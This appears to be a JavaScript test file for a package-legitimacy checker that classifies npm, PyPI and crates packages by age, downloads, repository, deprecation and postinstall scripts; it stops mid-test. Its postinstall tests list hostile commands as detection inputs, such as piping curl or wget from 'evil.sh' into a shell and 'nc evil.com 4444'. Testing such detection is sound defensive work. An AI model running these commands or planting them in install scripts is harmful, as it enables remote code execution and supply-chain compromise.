Mechanical rename produced by scripts/msd-rename.cjs: gsd/Gsd/GSD -> msd/Msd/MSD across contents and paths, upstream package/repo coordinates -> @golem15/msd-core and golem15com/msd-core. Deep links into upstream history, sibling upstream packages, the GSD-2 import feature, CHANGELOG.md and .changeset/ are kept as-is. Hand edits on top: MSD block-letter banner and logos, LICENSE copyright line, package/plugin identity, regenerated lockfile, install-tree fixtures, derived registries and benchmark baseline; migration checksum baseline re-locked (MSD keeps its own install state, so no install had applied the old sums); sort-order and regex-escaped expectations in tests adjusted.
793 lines
32 KiB
JavaScript
793 lines
32 KiB
JavaScript
'use strict';
|
|
|
|
/**
|
|
* TDD tests for package-legitimacy.cjs
|
|
*
|
|
* RULESET.TESTS.no-source-grep: all tests use injected fakes — no real network,
|
|
* no source-grep. Clock is injected via { now: () => FIXED_MS }.
|
|
* RULESET.TESTS.boundary-coverage: every threshold has N∈{limit-1, limit, limit+1}.
|
|
*/
|
|
|
|
const { describe, test } = require('node:test');
|
|
const assert = require('node:assert/strict');
|
|
|
|
const {
|
|
DEFAULT_THRESHOLDS,
|
|
classifyPackage,
|
|
checkPackages,
|
|
_setHttpGet,
|
|
} = require('../msd-core/bin/lib/package-legitimacy.cjs');
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Helpers
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/** Fixed clock epoch: 2024-01-01T00:00:00.000Z */
|
|
const FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0);
|
|
const fixedClock = { now: () => FIXED_MS };
|
|
|
|
/**
|
|
* Build a publishedAt ISO string such that ageDays days before FIXED_MS.
|
|
*/
|
|
function publishedAt(ageDays) {
|
|
return new Date(FIXED_MS - ageDays * 86_400_000).toISOString();
|
|
}
|
|
|
|
/** Healthy baseline signals */
|
|
function healthySignals(overrides = {}) {
|
|
return {
|
|
exists: true,
|
|
publishedAt: publishedAt(400),
|
|
weeklyDownloads: 50_000,
|
|
repoUrl: 'https://github.com/example/pkg',
|
|
deprecated: false,
|
|
postinstall: null,
|
|
ecosystem: 'npm',
|
|
...overrides,
|
|
};
|
|
}
|
|
|
|
/** Fake registry that always returns healthy signals */
|
|
function fakeRegistry(signalsByName = {}) {
|
|
return {
|
|
lookup: async (_eco, name) => {
|
|
if (signalsByName[name] !== undefined) return signalsByName[name];
|
|
return healthySignals();
|
|
},
|
|
};
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 1 — TRACER: one npm pkg, all healthy -> OK
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 1 — tracer: one npm package, healthy signals → OK', () => {
|
|
test('checkPackages returns [{ name, verdict:"OK", reasons:[] }]', async () => {
|
|
const registry = fakeRegistry();
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['lodash'], version: '4.17.21' },
|
|
{ registry, clock: fixedClock }
|
|
);
|
|
|
|
assert.ok(Array.isArray(results), 'result is array');
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
assert.equal(r.name, 'lodash');
|
|
assert.equal(r.verdict, 'OK');
|
|
assert.deepEqual(r.reasons, []);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 2 — nonexistent: exists:false -> SLOP, does-not-exist
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 2 — nonexistent package → SLOP', () => {
|
|
test('fake registry returns { exists:false } -> verdict SLOP, reason does-not-exist', async () => {
|
|
const registry = fakeRegistry({ 'no-such-pkg': { exists: false } });
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['no-such-pkg'] },
|
|
{ registry, clock: fixedClock }
|
|
);
|
|
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
assert.equal(r.verdict, 'SLOP');
|
|
assert.ok(r.reasons.includes('does-not-exist'), `reasons: ${r.reasons}`);
|
|
});
|
|
|
|
test('classifyPackage with exists:false is terminal and returns only does-not-exist', () => {
|
|
const { verdict, reasons } = classifyPackage({ exists: false }, { clock: fixedClock });
|
|
assert.equal(verdict, 'SLOP');
|
|
assert.deepEqual(reasons, ['does-not-exist']);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 3 — AGE BOUNDARY (minAgeDays=30): 29 → too-new; 30 → OK; 31 → OK
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 3 — age boundary (minAgeDays=30)', () => {
|
|
const thresholds = { ...DEFAULT_THRESHOLDS, minAgeDays: 30 };
|
|
|
|
test('ageDays=29 → reason too-new (SUS)', () => {
|
|
const signals = healthySignals({ publishedAt: publishedAt(29) });
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(reasons.includes('too-new'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
|
|
test('ageDays=30 → NOT too-new', () => {
|
|
const signals = healthySignals({ publishedAt: publishedAt(30) });
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(!reasons.includes('too-new'), `reasons unexpectedly includes too-new: ${reasons}`);
|
|
// should be OK (other signals healthy)
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
|
|
test('ageDays=31 → NOT too-new', () => {
|
|
const signals = healthySignals({ publishedAt: publishedAt(31) });
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(!reasons.includes('too-new'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 4 — DOWNLOADS BOUNDARY (minWeeklyDownloads=1000)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 4 — downloads boundary (minWeeklyDownloads=1000)', () => {
|
|
const thresholds = { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000 };
|
|
|
|
test('weeklyDownloads=999 → low-downloads (SUS)', () => {
|
|
const signals = healthySignals({ weeklyDownloads: 999 });
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(reasons.includes('low-downloads'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
|
|
test('weeklyDownloads=1000 → NOT low-downloads', () => {
|
|
const signals = healthySignals({ weeklyDownloads: 1000 });
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(!reasons.includes('low-downloads'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
|
|
test('weeklyDownloads=1001 → NOT low-downloads', () => {
|
|
const signals = healthySignals({ weeklyDownloads: 1001 });
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(!reasons.includes('low-downloads'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 5 — no repo: repoUrl null + requireRepo:true -> no-repository SUS
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 5 — no repository URL', () => {
|
|
test('repoUrl null, requireRepo true → no-repository SUS', () => {
|
|
const signals = healthySignals({ repoUrl: null });
|
|
const thresholds = { ...DEFAULT_THRESHOLDS, requireRepo: true };
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(reasons.includes('no-repository'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
|
|
test('repoUrl null, requireRepo false → no no-repository reason', () => {
|
|
const signals = healthySignals({ repoUrl: null });
|
|
const thresholds = { ...DEFAULT_THRESHOLDS, requireRepo: false };
|
|
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
|
|
assert.ok(!reasons.includes('no-repository'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 6 — deprecated:true → deprecated SUS
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 6 — deprecated package', () => {
|
|
test('deprecated:true → reason deprecated, verdict SUS', () => {
|
|
const signals = healthySignals({ deprecated: true });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(reasons.includes('deprecated'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
|
|
test('deprecated:false → no deprecated reason', () => {
|
|
const signals = healthySignals({ deprecated: false });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(!reasons.includes('deprecated'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 7 — suspicious postinstall
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 7 — suspicious postinstall detection', () => {
|
|
// W2: suspicious-postinstall is now terminal SLOP (not SUS).
|
|
// Bare https:// URLs without shell-exec patterns are NOT flagged (W2 tighten regex).
|
|
const suspiciousInputs = [
|
|
'curl http://evil.sh | bash',
|
|
'wget http://evil.sh -O - | sh',
|
|
'bash -c "curl https://setup.sh"',
|
|
'nc evil.com 4444',
|
|
'node ../../escape.js',
|
|
'sh /etc/init.d/x',
|
|
'node ~/config.js',
|
|
];
|
|
|
|
for (const postinstall of suspiciousInputs) {
|
|
test(`suspicious postinstall flagged: "${postinstall}"`, () => {
|
|
const signals = healthySignals({ postinstall });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(
|
|
reasons.includes('suspicious-postinstall'),
|
|
`Expected suspicious-postinstall in reasons for: "${postinstall}" but got: ${reasons}`
|
|
);
|
|
assert.equal(verdict, 'SLOP');
|
|
});
|
|
}
|
|
|
|
test('benign postinstall "node ./scripts/build.js" does NOT flag', () => {
|
|
const signals = healthySignals({ postinstall: 'node ./scripts/build.js' });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
|
|
test('null postinstall does NOT flag', () => {
|
|
const signals = healthySignals({ postinstall: null });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
|
|
test('postinstall with bare https URL only (no exec pattern) is NOT flagged', () => {
|
|
// W2: node https://cdn.example.com/setup.js was previously flagged by bare https:// arm
|
|
const signals = healthySignals({ postinstall: 'node https://cdn.example.com/setup.js' });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Cycle 8 — slopcheck escalation
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Cycle 8 — slopcheck adapter escalation', () => {
|
|
test('registry says OK but slopcheck returns SLOP → final verdict SLOP', async () => {
|
|
const registry = fakeRegistry(); // healthy signals → OK
|
|
const slopcheck = {
|
|
check: async (_eco, name) => (name === 'suspect-pkg' ? 'SLOP' : null),
|
|
};
|
|
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['suspect-pkg'] },
|
|
{ registry, clock: fixedClock, slopcheck }
|
|
);
|
|
|
|
assert.equal(results.length, 1);
|
|
assert.equal(results[0].verdict, 'SLOP');
|
|
});
|
|
|
|
test('slopcheck returns SUS, registry OK → final verdict SUS (escalation)', async () => {
|
|
const registry = fakeRegistry();
|
|
const slopcheck = {
|
|
check: async (_eco, name) => (name === 'shady-pkg' ? 'SUS' : null),
|
|
};
|
|
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['shady-pkg'] },
|
|
{ registry, clock: fixedClock, slopcheck }
|
|
);
|
|
|
|
assert.equal(results[0].verdict, 'SUS');
|
|
});
|
|
|
|
test('slopcheck returns OK, registry OK → verdict stays OK (no escalation)', async () => {
|
|
const registry = fakeRegistry();
|
|
const slopcheck = {
|
|
check: async () => 'OK',
|
|
};
|
|
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['good-pkg'] },
|
|
{ registry, clock: fixedClock, slopcheck }
|
|
);
|
|
|
|
assert.equal(results[0].verdict, 'OK');
|
|
});
|
|
|
|
test('NO slopcheck provided → registry verdict stands, no degradation', async () => {
|
|
const registry = fakeRegistry(); // healthy → OK
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['some-pkg'] },
|
|
{ registry, clock: fixedClock }
|
|
// no slopcheck
|
|
);
|
|
|
|
assert.equal(results[0].verdict, 'OK');
|
|
assert.deepEqual(results[0].reasons, []);
|
|
});
|
|
|
|
test('slopcheck returns null (no opinion) → registry verdict stands', async () => {
|
|
const registry = fakeRegistry();
|
|
const slopcheck = {
|
|
check: async () => null,
|
|
};
|
|
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['neutral-pkg'] },
|
|
{ registry, clock: fixedClock, slopcheck }
|
|
);
|
|
|
|
assert.equal(results[0].verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Missing/partial signals handling
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Missing/partial signals — never throws, sensible defaults', () => {
|
|
test('missing publishedAt → unknown-age SUS reason', () => {
|
|
const signals = healthySignals({ publishedAt: null });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(reasons.includes('unknown-age'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
|
|
test('missing weeklyDownloads → unknown-downloads SUS reason', () => {
|
|
const signals = healthySignals({ weeklyDownloads: null });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(reasons.includes('unknown-downloads'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
|
|
test('multiple issues collected at once (deprecated + no-repo + low-downloads)', () => {
|
|
const signals = healthySignals({
|
|
deprecated: true,
|
|
repoUrl: null,
|
|
weeklyDownloads: 0,
|
|
});
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(reasons.includes('deprecated'), `deprecated missing: ${reasons}`);
|
|
assert.ok(reasons.includes('no-repository'), `no-repository missing: ${reasons}`);
|
|
assert.ok(reasons.includes('low-downloads'), `low-downloads missing: ${reasons}`);
|
|
assert.equal(verdict, 'SUS');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// REGRESSION W1 — 404 → exists:false → SLOP for ALL ecosystems
|
|
// (uses _setHttpGet transport injection into the real adapters)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('W1 — 404 response → SLOP for all ecosystems', () => {
|
|
const notFoundTransport = async (_url, _timeoutMs) => ({ statusCode: 404, body: 'Not Found' });
|
|
|
|
test('npm 404 → signals.exists===false, verdict SLOP', async () => {
|
|
_setHttpGet(notFoundTransport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['ghost-npm-pkg'] },
|
|
{ clock: fixedClock }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
assert.equal(results[0].signals.exists, false, `npm 404 should set exists:false, got: ${results[0].signals.exists}`);
|
|
assert.equal(results[0].verdict, 'SLOP', `npm 404 should produce SLOP, got: ${results[0].verdict}`);
|
|
assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('pypi 404 → signals.exists===false, verdict SLOP', async () => {
|
|
_setHttpGet(notFoundTransport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'pypi', packages: ['ghost-pypi-pkg'] },
|
|
{ clock: fixedClock }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
assert.equal(results[0].signals.exists, false, `pypi 404 should set exists:false, got: ${results[0].signals.exists}`);
|
|
assert.equal(results[0].verdict, 'SLOP', `pypi 404 should produce SLOP, got: ${results[0].verdict}`);
|
|
assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('crates 404 → signals.exists===false, verdict SLOP', async () => {
|
|
_setHttpGet(notFoundTransport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'crates', packages: ['ghost-crate'] },
|
|
{ clock: fixedClock }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
assert.equal(results[0].signals.exists, false, `crates 404 should set exists:false, got: ${results[0].signals.exists}`);
|
|
assert.equal(results[0].verdict, 'SLOP', `crates 404 should produce SLOP, got: ${results[0].verdict}`);
|
|
assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('2xx with valid body → exists:true, not SLOP', async () => {
|
|
const npmPayload = JSON.stringify({
|
|
'dist-tags': { latest: '1.0.0' },
|
|
versions: { '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } } },
|
|
time: { '1.0.0': new Date(FIXED_MS - 90 * 86_400_000).toISOString() },
|
|
});
|
|
let call = 0;
|
|
const okTransport = async (_url, _timeoutMs) => {
|
|
call++;
|
|
if (call === 1) return { statusCode: 200, body: npmPayload };
|
|
// downloads API second call
|
|
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
|
|
};
|
|
_setHttpGet(okTransport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['real-pkg'] },
|
|
{ clock: fixedClock }
|
|
);
|
|
assert.equal(results[0].signals.exists, true, `2xx should set exists:true`);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// REGRESSION W2 — suspicious-postinstall is terminal SLOP; tighten regex
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('W2 — suspicious postinstall is terminal SLOP', () => {
|
|
test('curl|bash postinstall → verdict SLOP (not SUS)', () => {
|
|
const signals = healthySignals({ postinstall: 'curl https://evil.sh | bash' });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SLOP', `curl|bash should produce SLOP, got: ${verdict}`);
|
|
});
|
|
|
|
test('wget|sh postinstall → verdict SLOP', () => {
|
|
const signals = healthySignals({ postinstall: 'wget http://evil.sh | sh' });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
|
|
assert.equal(verdict, 'SLOP', `wget|sh should produce SLOP, got: ${verdict}`);
|
|
});
|
|
|
|
test('postinstall with bare https:// URL only (no exec) → NOT flagged, verdict OK', () => {
|
|
// e.g. esbuild-style: "node install.js" script that happens to echo a URL
|
|
const signals = healthySignals({ postinstall: 'echo see https://example.com for docs' });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(
|
|
!reasons.includes('suspicious-postinstall'),
|
|
`bare https URL should NOT flag suspicious-postinstall, got reasons: ${reasons}`
|
|
);
|
|
assert.equal(verdict, 'OK', `bare https URL postinstall should be OK, got: ${verdict}`);
|
|
});
|
|
|
|
test('postinstall "node install.js" with an https URL in it → NOT flagged', () => {
|
|
// Legit pattern used by esbuild, sharp, etc.
|
|
const signals = healthySignals({ postinstall: 'node install.js # see https://example.com' });
|
|
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
|
|
assert.ok(
|
|
!reasons.includes('suspicious-postinstall'),
|
|
`node install.js should not flag, got reasons: ${reasons}`
|
|
);
|
|
assert.equal(verdict, 'OK');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// REGRESSION I3 — version parameter passed through to registry.lookup
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('I3 — version parameter forwarded to registry.lookup', () => {
|
|
test('checkPackages passes version to registry.lookup', async () => {
|
|
const calls = [];
|
|
const recordingRegistry = {
|
|
lookup: async (eco, name, version) => {
|
|
calls.push({ eco, name, version });
|
|
return healthySignals();
|
|
},
|
|
};
|
|
|
|
await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['my-pkg'], version: '1.2.3' },
|
|
{ registry: recordingRegistry, clock: fixedClock }
|
|
);
|
|
|
|
assert.equal(calls.length, 1);
|
|
assert.equal(calls[0].version, '1.2.3', `Expected version '1.2.3' to be forwarded but got: ${calls[0].version}`);
|
|
});
|
|
|
|
test('when version omitted, registry.lookup called with undefined version', async () => {
|
|
const calls = [];
|
|
const recordingRegistry = {
|
|
lookup: async (eco, name, version) => {
|
|
calls.push({ eco, name, version });
|
|
return healthySignals();
|
|
},
|
|
};
|
|
|
|
await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['my-pkg'] },
|
|
{ registry: recordingRegistry, clock: fixedClock }
|
|
);
|
|
|
|
assert.equal(calls.length, 1);
|
|
assert.equal(calls[0].version, undefined, `Without version, should pass undefined, got: ${calls[0].version}`);
|
|
});
|
|
|
|
test('injected transport: requested version absent from npm registry → exists:false → SLOP', async () => {
|
|
// npm response has only version '1.0.0', we request '2.0.0'
|
|
const npmPayload = JSON.stringify({
|
|
'dist-tags': { latest: '1.0.0' },
|
|
versions: { '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } } },
|
|
time: { '1.0.0': new Date(FIXED_MS - 90 * 86_400_000).toISOString() },
|
|
});
|
|
let callCount = 0;
|
|
const transport = async (_url, _timeoutMs) => {
|
|
callCount++;
|
|
if (callCount === 1) return { statusCode: 200, body: npmPayload };
|
|
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
|
|
};
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['my-pkg'], version: '2.0.0' },
|
|
{ clock: fixedClock }
|
|
);
|
|
assert.equal(results[0].signals.exists, false, `Absent version should set exists:false, got: ${results[0].signals.exists}`);
|
|
assert.equal(results[0].verdict, 'SLOP', `Absent version should produce SLOP, got: ${results[0].verdict}`);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// FINDING 2 REGRESSION — version-specific age uses version-level metadata
|
|
// Package-level/first-publish is OLD (>1yr) but requested version is 2 days old.
|
|
// With version provided, publishedAt must reflect the requested version → too-new.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('Finding 2 — version-specific publishedAt from requested version, not package-level', () => {
|
|
// Fixed clock: 2024-01-01
|
|
const F2_FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0);
|
|
const f2Clock = { now: () => F2_FIXED_MS };
|
|
|
|
// Package-level first-publish: 2 years ago (old, would NOT be too-new)
|
|
const packageLevelOld = new Date(F2_FIXED_MS - 730 * 86_400_000).toISOString();
|
|
// Requested version published: 2 days ago (new, SHOULD trigger too-new)
|
|
const versionRecent = new Date(F2_FIXED_MS - 2 * 86_400_000).toISOString();
|
|
|
|
test('npm: version-specific publishedAt is recent → too-new (not old package-level date)', async () => {
|
|
// npm payload: package existed for 2yr, but the requested version 2.0.0 was published 2d ago
|
|
const npmPayload = JSON.stringify({
|
|
'dist-tags': { latest: '1.0.0' },
|
|
versions: {
|
|
'1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } },
|
|
'2.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } },
|
|
},
|
|
time: {
|
|
created: packageLevelOld,
|
|
'1.0.0': packageLevelOld,
|
|
'2.0.0': versionRecent, // requested version is recent
|
|
modified: new Date(F2_FIXED_MS - 1 * 86_400_000).toISOString(),
|
|
},
|
|
});
|
|
let callCount = 0;
|
|
const transport = async (_url, _timeoutMs) => {
|
|
callCount++;
|
|
if (callCount === 1) return { statusCode: 200, body: npmPayload };
|
|
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
|
|
};
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['old-pkg-new-version'], version: '2.0.0' },
|
|
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
// publishedAt should be versionRecent (2 days ago), not packageLevelOld
|
|
assert.ok(
|
|
r.signals.publishedAt === versionRecent,
|
|
`npm: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}`
|
|
);
|
|
assert.ok(
|
|
r.reasons.includes('too-new'),
|
|
`npm: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}`
|
|
);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('pypi: version-specific upload_time is recent → too-new (not package-level urls[0])', async () => {
|
|
// PyPI payload: urls[] is for latest release (old), but releases['2.0.0'] is recent
|
|
const pypiPayload = JSON.stringify({
|
|
info: {
|
|
name: 'old-pypi-pkg',
|
|
project_urls: { Source: 'https://github.com/x/y' },
|
|
home_page: null,
|
|
},
|
|
urls: [
|
|
// This is the package-level / latest-release upload time (old)
|
|
{ upload_time_iso_8601: packageLevelOld },
|
|
],
|
|
releases: {
|
|
'1.0.0': [{ upload_time_iso_8601: packageLevelOld }],
|
|
'2.0.0': [{ upload_time_iso_8601: versionRecent }], // requested version is recent
|
|
},
|
|
});
|
|
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: pypiPayload });
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'pypi', packages: ['old-pypi-pkg'], version: '2.0.0' },
|
|
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
assert.ok(
|
|
r.signals.publishedAt === versionRecent,
|
|
`pypi: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}`
|
|
);
|
|
assert.ok(
|
|
r.reasons.includes('too-new'),
|
|
`pypi: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}`
|
|
);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('crates: version-specific created_at is recent → too-new (not crate.created_at)', async () => {
|
|
const cratesPayload = JSON.stringify({
|
|
crate: {
|
|
name: 'old-crate',
|
|
repository: 'https://github.com/x/y',
|
|
created_at: packageLevelOld, // package first-created: old
|
|
recent_downloads: 50000,
|
|
},
|
|
versions: [
|
|
{ num: '1.0.0', created_at: packageLevelOld },
|
|
{ num: '2.0.0', created_at: versionRecent }, // requested version is recent
|
|
],
|
|
});
|
|
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload });
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'crates', packages: ['old-crate'], version: '2.0.0' },
|
|
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
assert.ok(
|
|
r.signals.publishedAt === versionRecent,
|
|
`crates: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}`
|
|
);
|
|
assert.ok(
|
|
r.reasons.includes('too-new'),
|
|
`crates: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}`
|
|
);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// FINDING 2 REGRESSION: crates recent_downloads (90d) vs weekly threshold
|
|
// Without normalization: recent_downloads=5000 >= minWeeklyDownloads=1000 → no low-downloads
|
|
// With normalization: 5000 * 7 / 90 ≈ 389/week < 1000 → low-downloads (SUS)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('FINDING-2 crates: recent_downloads=5000 (≈389/wk) → low-downloads after normalization', async () => {
|
|
// recent_downloads is a 90-DAY count. Without normalization the raw 5000 >= 1000 threshold
|
|
// passes, so no low-downloads reason is emitted — that is WRONG.
|
|
// After fix: Math.round(5000 * 7 / 90) = 389 < 1000 → low-downloads (SUS).
|
|
const cratesPayload = JSON.stringify({
|
|
crate: {
|
|
name: 'low-dl-crate',
|
|
repository: 'https://github.com/x/y',
|
|
created_at: packageLevelOld,
|
|
recent_downloads: 5000, // 90-day count; ≈389/week (below 1000)
|
|
},
|
|
versions: [{ num: '1.0.0', created_at: packageLevelOld }],
|
|
});
|
|
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload });
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'crates', packages: ['low-dl-crate'] },
|
|
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000, requireRepo: false } }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
assert.ok(
|
|
r.reasons.includes('low-downloads'),
|
|
